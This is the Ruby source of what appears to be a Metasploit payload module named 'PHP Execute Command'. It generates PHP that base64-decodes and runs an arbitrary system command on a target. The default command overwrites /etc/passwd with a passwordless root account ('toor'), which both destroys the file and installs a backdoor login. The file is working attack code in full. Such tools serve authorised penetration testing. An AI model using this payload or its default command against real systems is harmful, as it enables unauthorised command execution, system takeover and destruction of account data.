53 lines
1.3 KiB
Ruby
53 lines
1.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/payload/php'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Payload::Php
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'PHP Execute Command ',
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'Description' => 'Execute a single system command',
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'Author' => [ 'egypt' ],
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'License' => BSD_LICENSE,
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'Platform' => 'php',
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'Arch' => ARCH_PHP
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))
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register_options(
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[
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OptString.new('CMD', [ true, "The command string to execute", 'echo "toor::0:0:::/bin/bash">/etc/passwd' ]),
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])
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end
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def php_exec_cmd
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cmd = Rex::Text.encode_base64(datastore['CMD'])
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dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
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shell = <<-END_OF_PHP_CODE
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#{php_preamble(disabled_varname: dis)}
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$c = base64_decode("#{cmd}");
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#{php_system_block(cmd_varname: "$c", disabled_varname: dis)}
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END_OF_PHP_CODE
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return Rex::Text.compress(shell)
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end
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#
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# Constructs the payload
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#
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def generate
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return php_exec_cmd
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end
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end
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